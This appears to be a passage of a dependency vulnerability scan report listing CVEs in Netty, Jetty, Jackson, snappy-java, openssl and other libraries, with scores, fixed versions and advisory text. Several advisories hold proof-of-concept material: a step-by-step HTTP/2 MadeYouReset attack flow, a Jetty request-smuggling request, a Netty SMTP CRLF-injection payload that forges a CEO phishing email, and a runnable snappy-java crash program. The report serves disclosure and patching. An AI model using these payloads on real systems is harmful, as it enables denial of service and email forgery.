+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. + +
+
+ +medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow + + + + + + + + +
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. + +
+
+
+
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
+high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
+ +
Description +
+ +Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” + +### MadeYouReset Vulnerability Summary +The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. + +### Mechanism +The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). +The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: +1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) +2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) +3. PRIORITY frame with a length other than 5. (section 6.3) +From our experience, the primitives are likely to exist in the decreasing order listed above. +Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. + +The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. +While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. + +Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. + +### Attack Flow +For example, a possible attack scenario can be: +1. Attacker opens an HTTP/2 connection to the server. +2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. +3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. +4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). + +The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. +This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) + +### Comparison to Rapid Reset +The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. +The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. +Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. + +### Suggested Mitigations for MadeYouReset +A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. +It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. + +As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. + + +If you have any questions, we will be happy to clarify or schedule a Zoom call. + +Gal, Anat and Yaniv. + +
+
+ +high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption + + + + + + +
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
+ +
Description +
+ +A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. + +### Impact +This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. + +### Patches +This is patched in version 4.1.100.Final. + +### Workarounds +A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-44487 +- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ +- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ + +
+
+ +high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.364%
EPSS Percentile100th percentile
+ +
Description +
+ +The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. + +
+
+
+
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) + +pkg:maven/net.minidev/json-smart@1.3.2
+high 7.5: CVE--2023--1370 Uncontrolled Recursion + + + + + + + + +
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.012%
EPSS Percentile1st percentile
+ +
Description +
+ +### Impact +Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. + +When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. + +### Patches +This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. + +### Workarounds +N/A + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-1370 +- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 +- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 + +
+
+ +high 7.5: CVE--2021--31684 Out-of-bounds Read + + + + + + + + +
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
+ +
Description +
+ +A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.795%
EPSS Percentile74th percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+ +medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.532%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.795%
EPSS Percentile74th percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) + +pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
+high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. + +
+
+ +medium 5.8: CVE--2025--53864 Uncontrolled Recursion + + + + + + + + +
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.044%
EPSS Percentile14th percentile
+ +
Description +
+ +Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) + +pkg:maven/commons-beanutils/commons-beanutils@1.9.4
+high 8.8: CVE--2025--48734 Improper Access Control + + + + + + + + +
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.095%
EPSS Percentile27th percentile
+ +
Description +
+ +Improper Access Control vulnerability in Apache Commons. + + + +A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. + + + + + +Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). +Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. + +This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils + + 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. + + +Users of the artifact org.apache.commons:commons-beanutils2 + + 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-io/commons-io 2.13.0 (maven) + +pkg:maven/commons-io/commons-io@2.13.0
+high 8.7: CVE--2024--47554 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=2.0
<2.14.0
Fixed version2.14.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.161%
EPSS Percentile38th percentile
+ +
Description +
+ +Uncontrolled Resource Consumption vulnerability in Apache Commons IO. + +The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. + + +This issue affects Apache Commons IO: from 2.0 before 2.14.0. + +Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) + +pkg:maven/io.airlift/aircompressor@0.25
+high 8.6: CVE--2024--36114 Out-of-bounds Read + + + + + + + + +
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
+ +
Description +
+ +### Summary +All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). + +### Details +When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. + +Users should update to Aircompressor 0.27 or newer where these issues have been fixed. + +### Impact +When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-handler@4.1.96.Final
+high 7.5: CVE--2025--24970 Improper Input Validation + + + + + + + + +
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
+ +
Description +
+ +### Impact +When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. + +### Workarounds +As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: + +``` +SslContext context = ...; +SslHandler handler = context.newHandler(....); +``` + +to: + +``` +SslContext context = ...; +SSLEngine engine = context.newEngine(....); +SslHandler handler = new SslHandler(engine, ....); +``` + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.23.4
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.055%
EPSS Percentile18th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.023%
EPSS Percentile5th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) + +pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
+high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile23rd percentile
+ +
Description +
+ +### Summary + +snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. + +### Scope + +All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 + +### Details +While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. + +### PoC +Compile and run the following code: +``` +package org.example; +import org.xerial.snappy.SnappyInputStream; + +import java.io.*; + +public class Main { + + public static void main(String[] args) throws IOException { + byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; + SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); + byte[] out = new byte[50]; + try { + in.read(out); + } + catch (Exception ignored) { + } + } +} +``` + +### Impact +Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. + +### Credits +Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. + +We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) + +pkg:maven/dnsjava/dnsjava@2.1.7
+high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity + + + + + + + + +
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
+ +
Description +
